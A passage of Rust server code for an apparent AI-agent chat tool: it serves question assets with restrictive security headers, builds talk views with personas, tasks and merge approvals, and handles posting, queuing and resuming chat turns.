8754 return Err(ApiError::bad_request(format!(
8755 "`{name}` is not a usable asset name"
8756 )));
8757 }
8758 blocking(move || {
8759 let id = resolve_question(&ui.questions, &id)?;
8760 let asset = ui
8761 .questions
8762 .panel_asset(&id, &name)
8763 .map_err(|e| ApiError::bad_request(format!("{e:#}")))?;
8764 let Some(bytes) = asset else {
8765 return Err(ApiError::not_found(format!(
8766 "question {id} has no asset `{name}`"
8767 )));
8768 };
8769 Ok(panel_response(
8770 asset_content_type(&name),
8771 is_svg(&name),
8772 bytes,
8773 ))
8774 })
8775 .await
8776}
8777
8778fn asset_content_type(name: &str) -> &'static str {
8791 match extension(name).as_deref() {
8792 Some("png") => "image/png",
8793 Some("jpg" | "jpeg") => "image/jpeg",
8794 Some("gif") => "image/gif",
8795 Some("webp") => "image/webp",
8796 Some("svg") => "image/svg+xml",
8797 Some("css") => "text/css; charset=utf-8",
8798 Some("txt") => "text/plain; charset=utf-8",
8799 _ => "application/octet-stream",
8800 }
8801}
8802
8803fn is_svg(name: &str) -> bool {
8806 extension(name).as_deref() == Some("svg")
8807}
8808
8809fn extension(name: &str) -> Option<String> {
8811 name.rsplit_once('.')
8812 .map(|(_, ext)| ext.to_ascii_lowercase())
8813}
8814
8815fn panel_response(content_type: &'static str, download: bool, body: Vec<u8>) -> Response {
8832 let mut res = (
8833 [
8834 (header::CONTENT_TYPE, content_type),
8835 (header::CONTENT_SECURITY_POLICY, PANEL_CSP),
8836 (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
8837 (header::REFERRER_POLICY, "no-referrer"),
8838 ],
8839 body,
8840 )
8841 .into_response();
8842 if download {
8843 res.headers_mut().insert(
8844 header::CONTENT_DISPOSITION,
8845 HeaderValue::from_static("attachment"),
8846 );
8847 }
8848 res
8849}
8850
8851#[derive(Debug, Serialize)]
8857struct ChatApproval {
8858 question: String,
8859 target: crate::merge_decision::Target,
8860}
8861
8862#[derive(Debug, Serialize)]
8863struct TalkView {
8864 #[serde(flatten)]
8865 talk: Talk,
8866 turn_bodies_md: Vec<Vec<md::Node>>,
8867 turn_messages_md: Vec<Vec<Option<Vec<md::Node>>>>,
8869 pending_messages_md: Vec<Option<Vec<md::Node>>>,
8870 merge_approvals: Vec<ChatApproval>,
8871 thinking: bool,
8879 context: talk::ContextUsage,
8883 operator_name: Option<String>,
8886 persona_name: Option<String>,
8888 persona_avatar: String,
8891 operator_avatar: String,
8893 magi_avatar: String,
8894}
8895
8896impl TalkView {
8897 fn new(talk: Talk, thinking: bool, ui: &Ui) -> Self {
8900 let cfg = Config::discover(&talk.repo, None).ok().map(|(cfg, _)| cfg);
8901 Self::with_config(talk, thinking, cfg.as_ref(), &ui.home, &ui.references)
8902 }
8903
8904 fn with_config(
8907 talk: Talk,
8908 thinking: bool,
8909 cfg: Option<&Config>,
8910 home: &FsPath,
8911 cache: &id_links::IndexCache,
8912 ) -> Self {
8913 let references = cache.for_talk(home, &talk);
8914 Self::with_references(talk, thinking, cfg, home, &references)
8915 }
8916
8917 fn with_references(
8918 mut talk: Talk,
8919 thinking: bool,
8920 cfg: Option<&Config>,
8921 home: &FsPath,
8922 references: &id_links::IdIndex,
8923 ) -> Self {
8924 let snapshot = talk.clone();
8926 for (index, turn) in talk.turns.iter_mut().enumerate() {
8927 let original = &snapshot.turns[index];
8928 if turn.messages.is_empty() {
8929 if let Some(display) = talk::notice_display(&snapshot, original, None) {
8930 turn.messages.push(talk::Message {
8931 sender: Some(talk::Sender::Magi),
8932 body: original.body.clone(),
8933 display: Some(display),
8934 attachments: original.attachments.clone(),
8935 reply: None,
8936 });
8937 }
8938 } else {
8939 for (i, message) in turn.messages.iter_mut().enumerate() {
8940 message.display =
8941 talk::notice_display(&snapshot, original, original.messages.get(i));
8942 if message.display.is_some() {
8943 message.sender = Some(talk::Sender::Magi);
8944 }
8945 }
8946 }
8947 }
8948 for message in &mut talk.pending_messages {
8949 if message.display.is_none()
8950 && (message.sender == Some(talk::Sender::Magi)
8951 || snapshot
8952 .completion_notices
8953 .iter()
8954 .any(|r| r.notice == message.body))
8955 {
8956 message.display = crate::prompt::legacy_notice_display(&message.body);
8957 if message.display.is_some() {
8958 message.sender = Some(talk::Sender::Magi);
8959 }
8960 }
8961 }
8962 if talk.pending_messages.is_empty()
8963 && snapshot
8964 .completion_notices
8965 .iter()
8966 .any(|r| r.notice == talk.pending)
8967 && let Some(display) = crate::prompt::legacy_notice_display(&talk.pending)
8968 {
8969 talk.pending_messages.push(talk::Message {
8970 sender: Some(talk::Sender::Magi),
8971 display: Some(display),
8972 body: talk.pending.clone(),
8973 attachments: talk.pending_attachments.clone(),
8974 reply: None,
8975 });
8976 }
8977 let excerpts: Vec<Vec<Option<String>>> = talk
8978 .turns
8979 .iter()
8980 .map(|turn| {
8981 turn.messages
8982 .iter()
8983 .map(|m| {
8984 m.display
8985 .as_ref()
8986 .map(|d| d.facts.chars().take(240).collect())
8987 })
8988 .collect()
8989 })
8990 .collect();
8991 for turn in &mut talk.turns {
8992 let provenance = talk::sender(turn, None);
8993 turn.sender = Some(provenance);
8994 for message in &mut turn.messages {
8995 message.sender = Some(message.sender.unwrap_or(provenance));
8996 }
8997 }
8998 let senders: Vec<Vec<talk::Sender>> = talk
9000 .turns
9001 .iter()
9002 .map(|turn| {
9003 if turn.messages.is_empty() {
9004 vec![talk::sender(turn, None)]
9005 } else {
9006 turn.messages
9007 .iter()
9008 .map(|m| talk::sender(turn, Some(m)))
9009 .collect()
9010 }
9011 })
9012 .collect();
9013 for reply in talk
9014 .turns
9015 .iter_mut()
9016 .flat_map(|t| t.messages.iter_mut())
9017 .chain(talk.pending_messages.iter_mut())
9018 .filter_map(|m| m.reply.as_mut())
9019 {
9020 if let Some(Some(excerpt)) = excerpts
9021 .get(reply.target.turn)
9022 .and_then(|ms| ms.get(reply.target.message))
9023 {
9024 reply.excerpt = excerpt.clone();
9025 reply.sender = Some(talk::Sender::Magi);
9026 }
9027 if reply.sender.is_none() {
9028 reply.sender = senders
9029 .get(reply.target.turn)
9030 .and_then(|messages| messages.get(reply.target.message))
9031 .copied();
9032 }
9033 }
9034 let context = talk::context_usage(&talk, cfg);
9035 let mut turn_bodies_md: Vec<Vec<md::Node>> = talk
9036 .turns
9037 .iter()
9038 .map(|turn| md::to_nodes(&turn.body, &md::ImageBase::None))
9039 .collect();
9040 let mut turn_messages_md: Vec<Vec<Option<Vec<md::Node>>>> = talk
9041 .turns
9042 .iter()
9043 .map(|turn| {
9044 if turn.messages.is_empty() {
9045 vec![notice_markdown(talk::sender(turn, None), &turn.body, None)]
9046 } else {
9047 turn.messages
9048 .iter()
9049 .map(|message| {
9050 notice_markdown(
9051 message.sender.unwrap_or(talk::Sender::Operator),
9052 &message.body,
9053 message.display.as_ref(),
9054 )
9055 })
9056 .collect()
9057 }
9058 })
9059 .collect();
9060 let mut pending_messages_md: Vec<Option<Vec<md::Node>>> = talk
9061 .pending_messages
9062 .iter()
9063 .map(|message| {
9064 notice_markdown(
9065 message.sender.unwrap_or(talk::Sender::Operator),
9066 &message.body,
9067 message.display.as_ref(),
9068 )
9069 })
9070 .collect();
9071 for nodes in &mut turn_bodies_md {
9072 references.markdown(nodes);
9073 }
9074 for nodes in turn_messages_md
9075 .iter_mut()
9076 .flatten()
9077 .chain(pending_messages_md.iter_mut())
9078 .flatten()
9079 {
9080 references.markdown(nodes);
9081 }
9082 let specs = cfg.map_or(&[][..], |c| &c.talk.personas[..]);
9083 let persona_name = persona::find(specs, &talk.persona)
9084 .filter(|p| !p.is_default())
9085 .map(|p| p.name);
9086 let mut avatar_persona = persona::find(specs, &talk.persona)
9087 .unwrap_or_else(|| persona::find(specs, persona::DEFAULT_ID).expect("default"));
9088 if avatar_persona.id != talk.persona
9090 && read_icon_file(&avatar_setting_path(home, Some(&talk.persona))).is_some()
9091 {
9092 avatar_persona.id.clone_from(&talk.persona);
9093 avatar_persona.icon = None;
9094 }
9095 let persona_avatar = avatar_url(home, &talk.id, &avatar_persona);
9096 let approvals_store = ask::Questions::at(home.join("questions"));
9097 let merge_approvals = talk
9098 .notified
9099 .iter()
9100 .filter_map(|key| key.strip_prefix("question:"))
9101 .filter_map(|id| approvals_store.get(id).ok())
9102 .filter(|q| crate::task_chat::approval_offered(&talk, q))
9103 .filter_map(|q| {
9104 Some(ChatApproval {
9105 question: q.id,
9106 target: q.merge_target?,
9107 })
9108 })
9109 .collect();
9110 let operator_name = cfg.and_then(|c| c.talk.operator_name()).map(str::to_owned);
9111 Self {
9112 turn_bodies_md,
9113 turn_messages_md,
9114 pending_messages_md,
9115 merge_approvals,
9116 thinking,
9117 context,
9118 operator_name,
9119 persona_name,
9120 persona_avatar,
9121 magi_avatar: magi_icon_url(home),
9122 operator_avatar: operator_icon_url(home),
9123 talk,
9124 }
9125 }
9126}
9127
9128fn notice_markdown(
9130 sender: talk::Sender,
9131 body: &str,
9132 display: Option<&crate::prompt::NoticeDisplay>,
9133) -> Option<Vec<md::Node>> {
9134 if sender != talk::Sender::Magi {
9135 return None;
9136 }
9137 let text = if let Some(display) = display {
9138 display.facts.as_str()
9139 } else {
9140 if crate::prompt::is_completion_notice(body)
9143 || body.starts_with(&format!("# {}\n", crate::prompt::CHAT_CONSULT_HEADING))
9144 {
9145 return None;
9146 }
9147 body.strip_prefix("magi: ").unwrap_or(body)
9148 };
9149 Some(md::to_nodes(text, &md::ImageBase::None))
9150}
9151
9152#[derive(Debug, Serialize)]
9157struct TalkDetailView {
9158 #[serde(flatten)]
9159 view: TalkView,
9160 tasks: Vec<TaskView>,
9161 task_progress: TalkTaskProgress,
9162 roster: Vec<RosterEntry>,
9165 personas: Vec<PersonaEntry>,
9168}
9169
9170#[derive(Debug, Serialize)]
9172struct TalkTaskProgress {
9173 state: &'static str,
9174 total: usize,
9175 done: usize,
9176 counts: std::collections::BTreeMap<&'static str, usize>,
9177 unfinished_ids: Vec<String>,
9178}
9179
9180fn talk_task_progress(tasks: &[Task]) -> TalkTaskProgress {
9181 let mut counts = std::collections::BTreeMap::from([
9182 ("queued", 0),
9183 ("running", 0),
9184 ("done", 0),
9185 ("failed", 0),
9186 ("held", 0),
9187 ("blocked", 0),
9188 ("parked", 0),
9189 ]);
9190 let mut unfinished_ids = Vec::new();
9191 for task in tasks {
9192 *counts.entry(task.status.as_str()).or_default() += 1;
9193 if task.status != TaskStatus::Done {
9194 unfinished_ids.push(task.id.clone());
9195 }
9196 }
9197 TalkTaskProgress {
9198 state: if tasks.is_empty() {
9199 "none"
9200 } else if unfinished_ids.is_empty() {
9201 "complete"
9202 } else {
9203 "incomplete"
9204 },
9205 total: tasks.len(),
9206 done: tasks.len() - unfinished_ids.len(),
9207 counts,
9208 unfinished_ids,
9209 }
9210}
9211
9212#[derive(Debug, Serialize)]
9214struct PersonaEntry {
9215 id: String,
9216 name: String,
9217 avatar: String,
9219}
9220
9221#[derive(Debug, Serialize)]
9223struct RosterEntry {
9224 id: String,
9225 kind: AgentKind,
9226 runnable: bool,
9228}
9229
9230async fn talks_list(
9232 State(ui): State<Arc<Ui>>,
9233 Query(q): Query<ListQuery>,
9234 headers: header::HeaderMap,
9235) -> ApiResult<Json<Vec<TalkListView>>> {
9236 bulk_blocking(ui.monitor.bulk_slots.clone(), move || {
9237 let limit = q.limit.unwrap_or(50).min(50);
9238 let ids = if let Some(ids) = q.ids {
9239 ids.split(',')
9240 .filter(|id| plain_record_id(id))
9241 .take(limit)
9242 .map(str::to_owned)
9243 .collect()
9244 } else {
9245 page_ids(&ui, true, PageQuery::default())?
9246 .0
9247 .into_iter()
9248 .take(limit.min(STORE_PAGE_SIZE))
9249 .collect()
9250 };
9251 Ok(Json(talk_rows(&ui, ids, &headers)))
9252 })
9253 .await
9254}
9255
9256#[derive(Debug, Default, Deserialize)]
9261#[serde(default)]
9262struct NewTalk {
9263 agent: Option<String>,
9264 repo: Option<PathBuf>,
9265 preferred_agent: Option<serde_json::Value>,
9269 persona: Option<serde_json::Value>,
9270 implementers: Option<serde_json::Value>,
9271}
9272
9273async fn talk_post(
9276 State(ui): State<Arc<Ui>>,
9277 body: std::result::Result<Json<NewTalk>, JsonRejection>,
9278) -> ApiResult<impl IntoResponse> {
9279 let body = match body {
9283 Ok(Json(body)) => body,
9284 Err(JsonRejection::MissingJsonContentType(_)) => NewTalk::default(),
9285 Err(e) => return Err(ApiError::bad_request(e.body_text())),
9286 };
9287 let repo = body.repo.clone().unwrap_or_else(|| ui.repo.clone());
9288 let cfg = config_for(&repo).await?;
9289 let view = blocking(move || {
9290 let preferred = talk::Preferred {
9291 agent: body
9292 .preferred_agent
9293 .as_ref()
9294 .and_then(|v| v.as_str())
9295 .map(str::to_owned),
9296 persona: body
9297 .persona
9298 .as_ref()
9299 .and_then(|v| v.as_str())
9300 .map(str::to_owned),
9301 implementers: body.implementers.as_ref().and_then(|v| v.as_i64()),
9302 };
9303 let talk = talk::begin_with(&ui.talks, &cfg, repo, body.agent.as_deref(), &preferred)?;
9304 let thinking = ui.is_thinking(&talk.id);
9305 Ok(TalkView::new(talk, thinking, &ui))
9306 })
9307 .await?;
9308 Ok((StatusCode::CREATED, Json(view)))
9309}
9310
9311async fn talk_core(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Json<TalkView>> {
9313 bulk_blocking(ui.monitor.talk_core_slots.clone(), move || {
9315 let id = resolve_talk(&ui.talks, &id)?;
9316 let talk = ui.talks.get(&id)?;
9317 let thinking = ui.is_thinking_observed(&id);
9318 Ok(Json(TalkView::with_references(
9321 talk,
9322 thinking,
9323 None,
9324 &ui.home,
9325 &id_links::IdIndex::default(),
9326 )))
9327 })
9328 .await
9329}
9330
9331async fn talk_sections(
9332 State(ui): State<Arc<Ui>>,
9333 Path(id): Path<String>,
9334) -> ApiResult<Json<serde_json::Value>> {
9335 bulk_blocking(ui.monitor.bulk_slots.clone(), move || {
9336 let id = resolve_talk(&ui.talks, &id)?;
9337 let talk = ui.talks.get(&id)?;
9338 let tasks = ui.find_tasks_for_talk(&talk.id)?;
9339 let task_progress = talk_task_progress(&tasks);
9340 let tasks: Vec<_> = tasks
9341 .into_iter()
9342 .map(|task| {
9343 serde_json::json!({
9344 "id": task.id, "title": task.title, "status_str": task.status.as_str(),
9345 })
9346 })
9347 .collect();
9348 let cfg = Config::discover(&talk.repo, None).ok().map(|(cfg, _)| cfg);
9349 let roster: Vec<_> = cfg
9350 .as_ref()
9351 .map(|cfg| {
9352 cfg.agents
9353 .iter()
9354 .map(|a| RosterEntry {
9355 id: a.id.clone(),
9356 kind: a.kind,
9357 runnable: agent::installed(a),
9358 })
9359 .collect()
9360 })
9361 .unwrap_or_default();
9362 let specs = cfg
9363 .as_ref()
9364 .map(|cfg| cfg.talk.personas.clone())
9365 .unwrap_or_default();
9366 let personas: Vec<_> = persona::catalog(&specs)
9367 .into_iter()
9368 .map(|p| PersonaEntry {
9369 avatar: avatar_url(&ui.home, &talk.id, &p),
9370 id: p.id,
9371 name: p.name,
9372 })
9373 .collect();
9374 let active_persona = persona::find(&specs, &talk.persona)
9375 .unwrap_or_else(|| persona::find(&specs, persona::DEFAULT_ID).expect("default"));
9376 let persona_name = (!active_persona.is_default()).then(|| active_persona.name.clone());
9377 let persona_avatar = avatar_url(&ui.home, &talk.id, &active_persona);
9378 Ok(Json(serde_json::json!({
9379 "tasks": tasks, "task_progress": task_progress,
9380 "roster": roster, "personas": personas,
9381 "context": talk::context_usage(&talk, cfg.as_ref()),
9382 "context_for": talk.updated_at,
9383 "operator_name": cfg.as_ref().and_then(|cfg| cfg.talk.operator_name()),
9384 "persona_name": persona_name,
9385 "persona_avatar": persona_avatar,
9386 })))
9387 })
9388 .await
9389}
9390
9391async fn talk_detail(
9393 State(ui): State<Arc<Ui>>,
9394 Path(id): Path<String>,
9395) -> ApiResult<Json<TalkDetailView>> {
9396 blocking(move || {
9397 let id = resolve_talk(&ui.talks, &id)?;
9398 let talk = ui.talks.get(&id)?;
9399 let thinking = ui.is_thinking_observed(&talk.id);
9400 let tasks = ui.find_tasks_for_talk(&talk.id)?;
9401 let task_progress = talk_task_progress(&tasks);
9402 let tasks = tasks.into_iter().map(TaskView::from).collect();
9403 let cfg = Config::discover(&talk.repo, None).ok().map(|(cfg, _)| cfg);
9404 let roster = cfg
9405 .as_ref()
9406 .map(|cfg| {
9407 cfg.agents
9408 .iter()
9409 .map(|a| RosterEntry {
9410 id: a.id.clone(),
9411 kind: a.kind,
9412 runnable: agent::installed(a),
9413 })
9414 .collect()
9415 })
9416 .unwrap_or_default();
9417 let specs = cfg
9418 .as_ref()
9419 .map(|cfg| cfg.talk.personas.clone())
9420 .unwrap_or_default();
9421 let personas = persona::catalog(&specs)
9422 .into_iter()
9423 .map(|p| PersonaEntry {
9424 avatar: avatar_url(&ui.home, &talk.id, &p),
9425 id: p.id,
9426 name: p.name,
9427 })
9428 .collect();
9429 Ok(Json(TalkDetailView {
9430 view: TalkView::with_config(talk, thinking, cfg.as_ref(), &ui.home, &ui.references),
9431 tasks,
9432 task_progress,
9433 roster,
9434 personas,
9435 }))
9436 })
9437 .await
9438}
9439
9440#[derive(Debug, Default, Deserialize)]
9446#[serde(default, deny_unknown_fields)]
9447struct NewTalkTurn {
9448 reply_to: Option<talk::ReplyTarget>,
9449 text: String,
9450 attachments: Vec<String>,
9451}
9452
9453#[derive(Debug, Deserialize)]
9454#[serde(deny_unknown_fields)]
9455struct EditTalkPending {
9456 #[serde(default)]
9457 message: Option<usize>,
9458 text: String,
9459 expected_text: String,
9460 expected_attachments: Vec<String>,
9461}
9462
9463#[derive(Debug, Deserialize)]
9464#[serde(deny_unknown_fields)]
9465struct ClearTalkPending {
9466 expected_text: String,
9467 expected_attachments: Vec<String>,
9468}
9469
9470async fn talk_say(
9482 State(ui): State<Arc<Ui>>,
9483 Path(id): Path<String>,
9484 body: std::result::Result<Json<NewTalkTurn>, JsonRejection>,
9485) -> ApiResult<(StatusCode, Json<TalkView>)> {
9486 let admission = ui.begin_admission()?;
9487 admitted(admission, async move {
9488 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
9489 if body.text.trim().is_empty() && body.attachments.is_empty() {
9490 return Err(ApiError::bad_request("say something"));
9491 }
9492
9493 let id = {
9494 let ui = Arc::clone(&ui);
9495 let asked = id.clone();
9496 blocking(move || resolve_talk(&ui.talks, &asked)).await?
9497 };
9498 {
9502 let ui = Arc::clone(&ui);
9503 let id = id.clone();
9504 blocking(move || {
9505 let talk = ui.talks.get(&id)?;
9506 if !talk.status.open() {
9507 return Err(ApiError::conflict(format!(
9508 "talk {} is {} and takes no more turns",
9509 talk.short(),
9510 talk.status.as_str()
9511 )));
9512 }
9513 Ok(())
9514 })
9515 .await?;
9516 }
9517
9518 let attachments = {
9523 let ui = Arc::clone(&ui);
9524 let id = id.clone();
9525 let ids = body.attachments.clone();
9526 blocking(move || {
9527 ids.into_iter()
9528 .map(|att_id| {
9529 ui.talks.attachment_meta(&id, &att_id)?.ok_or_else(|| {
9530 ApiError::bad_request(format!("unknown attachment `{att_id}`"))
9531 })
9532 })
9533 .collect::<ApiResult<Vec<talk::Attachment>>>()
9534 })
9535 .await?
9536 };
9537 let _publication = crate::chat_worker::publication_guard(&ui.talks, &id)
9538 .await.map_err(ApiError::from)?;
9539
9540 let start = {
9545 let ui = Arc::clone(&ui);
9546 let id = id.clone();
9547 blocking(move || ui.begin_talk_turn_unless_pending(&id)).await?
9548 };
9549 let turn_guard = match start {
9550 TalkTurnStart::Claimed(turn_guard) => turn_guard,
9551 TalkTurnStart::Pending => {
9552 return Err(ApiError::conflict(
9553 "a queued draft is waiting; resume it, edit it, or clear it before sending another message",
9554 ));
9555 }
9556 TalkTurnStart::Foreign => {
9557 return Err(ApiError::conflict(
9558 "a turn is already running in another process; try again when it has finished",
9559 ));
9560 }
9561 TalkTurnStart::Busy => {
9562 let (tx, rx) = tokio::sync::oneshot::channel();
9578 tokio::spawn({
9579 let ui = Arc::clone(&ui);
9580 let id = id.clone();
9581 let said = body.text.clone();
9582 let reply_to = body.reply_to.clone();
9583 async move {
9584 let written = blocking({
9585 let ui = Arc::clone(&ui);
9586 let id = id.clone();
9587 move || {
9588 let mut talk = ui.talks.get(&id)?;
9589 #[cfg(test)]
9594 if let Some(gate) = ui
9595 .busy_queue_gate
9596 .lock()
9597 .unwrap_or_else(PoisonError::into_inner)
9598 .take()
9599 {
9600 let _ = gate.reached.send(());
9601 let _ = gate.release.recv();
9602 }
9603 if let Err(error) = talk::queue_reply(
9604 &mut talk,
9605 &ui.talks,
9606 &said,
9607 attachments,
9608 reply_to,
9609 ) {
9610 if let Ok(fresh) = ui.talks.get(&id) {
9611 if !fresh.status.open() {
9612 return Err(ApiError::conflict(format!(
9613 "talk {} is {} and takes no more turns",
9614 fresh.short(),
9615 fresh.status.as_str()
9616 )));
9617 }
9618 }
9619 return Err(
9620 if error.to_string().contains("invalid reply target") {
9621 ApiError::bad_request("invalid reply target")
9622 } else {
9623 ApiError::from(error)
9624 },
9625 );
9626 }
9627 let claim = match ui.begin_queued_talk_turn(&id)? {
9638 Some(turn_guard) => {
9639 let (cfg, _) = Config::discover(&talk.repo, None)?;
9640 Some((talk.clone(), cfg, turn_guard))
9641 }
9642 None => None,
9643 };
9644 let thinking = ui.is_thinking(&id);
9645 Ok((TalkView::new(talk, thinking, &ui), claim))
9646 }
9647 })
9648 .await;
9649 #[cfg(not(test))]
9650 {
9651 match written {
9652 Ok((view, reclaimed)) => {
9653 let launched = crate::chat_worker::spawn_turn(&ui.talks, &id).await;
9654 drop(reclaimed);
9655 match launched {
9656 Ok(_) => { let _ = tx.send(Ok(view)); }
9657 Err(error) => { let _ = tx.send(Err(ApiError::from(error))); }
9658 }
9659 }
9660 Err(error) => { let _ = tx.send(Err(error)); }
9661 }
9662 }
9663 #[cfg(test)]
9664 {
9665 let (view, reclaimed) = match written {
9666 Ok(pair) => pair,
9667 Err(e) => {
9668 let _ = tx.send(Err(e));
9673 return;
9674 }
9675 };
9676 let _ = tx.send(Ok(view));
9679 if let Some((talk, cfg, turn_guard)) = reclaimed {
9680 let talks = ui.talks.clone();
9681 drain_loop(talk, talks, cfg, id, turn_guard).await;
9682 }
9683 }
9684 }
9685 });
9686 let view = rx
9687 .await
9688 .map_err(|_| ApiError::internal("the talk turn task ended without answering"))??;
9689 return Ok((StatusCode::ACCEPTED, Json(view)));
9690 }
9691 };
9692
9693 let (talk, cfg) = {
9694 let ui = Arc::clone(&ui);
9695 let id = id.clone();
9696 blocking(move || {
9697 let talk = ui.talks.get(&id)?;
9698 let (cfg, _) = Config::discover(&talk.repo, None)?;
9699 Ok((talk, cfg))
9700 })
9701 .await?
9702 };
9703
9704 let talks = ui.talks.clone();
9705 let (tx, rx) = tokio::sync::oneshot::channel();
9720 tokio::spawn({
9721 #[cfg(test)]
9722 let ui = Arc::clone(&ui);
9723 let talks = talks.clone();
9724 let id = id.clone();
9725 let said = body.text.clone();
9726 let reply_to = body.reply_to.clone();
9727 let mut talk = talk.clone();
9728 async move {
9729 let recorded = blocking({
9730 let talks = talks.clone();
9731 move || {
9732 if let Err(error) =
9733 talk::record_reply(&mut talk, &talks, &said, attachments, reply_to)
9734 {
9735 if let Ok(fresh) = talks.get(&talk.id) {
9736 if !fresh.status.open() {
9737 return Err(ApiError::conflict(format!(
9738 "talk {} is {} and takes no more turns",
9739 fresh.short(),
9740 fresh.status.as_str()
9741 )));
9742 }
9743 }
9744 return Err(if error.to_string().contains("invalid reply target") {
9745 ApiError::bad_request("invalid reply target")
9746 } else {
9747 ApiError::from(error)
9748 });
9749 }
9750 Ok((said.trim().to_owned(), talk))
9756 }
9757 })
9758 .await;
9759 let (text, talk) = match recorded {
9760 Ok(pair) => pair,
9761 Err(e) => {
9762 let _ = tx.send(Err(e));
9766 return;
9767 }
9768 };
9769 #[cfg(not(test))]
9770 {
9771 let _ = (&cfg, &text);
9772 let result = crate::chat_worker::spawn_recorded_turn(
9776 &talks, &id, talk.turns.len() - 1,
9777 ).await;
9778 drop(turn_guard);
9779 match result {
9780 Ok(_) => { let _ = tx.send(Ok((talk, true))); }
9781 Err(error) => { let _ = tx.send(Err(ApiError::from(error))); }
9782 }
9783 }
9784 #[cfg(test)]
9785 {
9786 let queued = talk.clone();
9787 let mut talk = talk;
9788 let thinking = ui.is_thinking(&id);
9789 let _ = tx.send(Ok((queued, thinking)));
9792
9793 if let Err(e) = turn_guard.respond(&mut talk, &talks, &cfg, &text).await {
9794 tracing::warn!("talk {id} turn failed: {e:#}");
9798 }
9799 drain_loop(talk, talks, cfg, id, turn_guard).await;
9802 }
9803 }
9804 });
9805
9806 let (queued, thinking) = rx
9807 .await
9808 .map_err(|_| ApiError::internal("the talk turn task ended without answering"))??;
9809
9810 Ok((
9812 StatusCode::ACCEPTED,
9813 Json(TalkView::new(queued, thinking, &ui)),
9814 ))
9815 }).await
9816}
9817
9818async fn talk_pending_resume(
9822 State(ui): State<Arc<Ui>>,
9823 Path(id): Path<String>,
9824) -> ApiResult<(StatusCode, Json<TalkView>)> {
9825 let admission = ui.begin_admission()?;
9826 admitted(admission, async move {
9827 let id = {
9828 let ui = Arc::clone(&ui);
9829 let asked = id.clone();
9830 blocking(move || resolve_talk(&ui.talks, &asked)).await?
9831 };
9832 let _publication = crate::chat_worker::publication_guard(&ui.talks, &id)
9833 .await
9834 .map_err(ApiError::from)?;
9835 let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
9836 return Err(ApiError::conflict(
9837 "a talk turn is already running; the queued draft will be handled by it",
9838 ));
9839 };
9840 let (talk, cfg) = {
9841 let ui = Arc::clone(&ui);
9842 let id = id.clone();
9843 blocking(move || {
9844 let talk = ui.talks.get(&id)?;
9845 if !talk.status.open() {
9846 return Err(ApiError::conflict(format!(
9847 "talk {} is {} and takes no more turns",
9848 talk.short(),
9849 talk.status.as_str()
9850 )));
9851 }
9852 if talk.pending.is_empty() && talk.pending_attachments.is_empty() {
9853 return Err(ApiError::conflict("there is no queued draft to resume"));
9854 }
9855 let (cfg, _) = Config::discover(&talk.repo, None)?;
9856 Ok((talk, cfg))
9857 })
9858 .await?
9859 };
9860 let view = TalkView::new(talk.clone(), true, &ui);
9861 let talks = ui.talks.clone();
9862 #[cfg(not(test))]
9863 detach_talk_turn(talk, talks, cfg, id, turn_guard).await?;
9864 #[cfg(test)]
9865 tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
9866 Ok((StatusCode::ACCEPTED, Json(view)))
9867 })
9868 .await
9869}
9870
9871#[cfg(not(test))]
9874async fn detach_talk_turn(
9875 _talk: Talk,
9876 talks: Talks,
9877 _cfg: Config,
9878 id: String,
9879 turn: TalkTurnGuard,
9880) -> ApiResult<()> {
9881 let launched = crate::chat_worker::spawn_turn(&talks, &id).await;
9882 drop(turn);
9883 launched.map(|_| ()).map_err(ApiError::from)
9884}
9885
9886#[cfg(test)]
9887async fn drain_loop(talk: Talk, talks: Talks, cfg: Config, id: String, turn: TalkTurnGuard) {
9888 drain_loop_started(talk, talks, cfg, id, turn, None).await;
9889}
9890
9891async fn settle_settings_turn(
9895 talk: Talk,
9896 talks: Talks,
9897 cfg: Config,
9898 id: String,
9899 turn: TalkTurnGuard,
9900 observed: u64,
9901) -> bool {
9902 if talk.pending.is_empty() && talk.pending_attachments.is_empty() {
9903 let turns = Arc::clone(&turn.turns);
9904 let mut live = turns.lock().unwrap_or_else(PoisonError::into_inner);
9905 if live.queued.get(&id).copied().unwrap_or(0) == observed {
9906 turn.release(&mut live);
9908 return false;
9909 }
9910 }
9911 let (started, settled) = tokio::sync::oneshot::channel();
9912 tokio::spawn(drain_loop_started(
9913 talk,
9914 talks,
9915 cfg,
9916 id,
9917 turn,
9918 Some(started),
9919 ));
9920 settled.await.unwrap_or(false)
9921}
9922
9923#[cfg(not(test))]
9924async fn drain_loop_started(
9925 talk: Talk,
9926 talks: Talks,
9927 _cfg: Config,
9928 id: String,
9929 turn: TalkTurnGuard,
9930 started: Option<tokio::sync::oneshot::Sender<bool>>,
9931) {
9932 let pending = !talk.pending.is_empty() || !talk.pending_attachments.is_empty();
9933 let running = if pending {
9934 match crate::chat_worker::spawn_turn(&talks, &id).await {
9935 Ok(_) => true,
9936 Err(error) => {
9937 tracing::warn!("talk {id}: could not launch draft worker: {error:#}");
9938 false
9939 }
9940 }
9941 } else {
9942 false
9943 };
9944 drop(turn);
9945 if let Some(started) = started {
9946 let _ = started.send(running);
9947 }
9948}
9949
9950#[cfg(test)]
9953async fn drain_loop_started(
9954 mut talk: Talk,
9955 talks: Talks,
9956 cfg: Config,
9957 id: String,
9958 turn: TalkTurnGuard,
9959 mut started: Option<tokio::sync::oneshot::Sender<bool>>,
9960) {
9961 let live_set = Arc::clone(&turn.turns);
9962 let mut turn = Some(turn);
9970 loop {
9971 if !turn.as_ref().is_some_and(TalkTurnGuard::owns) {
9972 tracing::warn!("talk {id} lost its turn lease; not draining further");
9975 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
9976 if let Some(turn) = turn.take() {
9977 turn.release(&mut live);
9978 }
9979 break;
9980 }
9981 let observed = live_set
9985 .lock()
9986 .unwrap_or_else(PoisonError::into_inner)
9987 .queued
9988 .get(&id)
9989 .copied()
9990 .unwrap_or(0);
9991 let drained = blocking({
9992 let talks = talks.clone();
9993 move || {
9994 let result = talk::drain(&mut talk, &talks);
9995 Ok((talk, result))
9996 }
9997 })
9998 .await;
9999 let (next_talk, result) = match drained {
10000 Ok(drained) => drained,
10001 Err(e) => {
10002 tracing::warn!(
10003 status = %e.status,
10004 message = %e.message,
10005 "talk {id} could not start queued-text drain"
10006 );
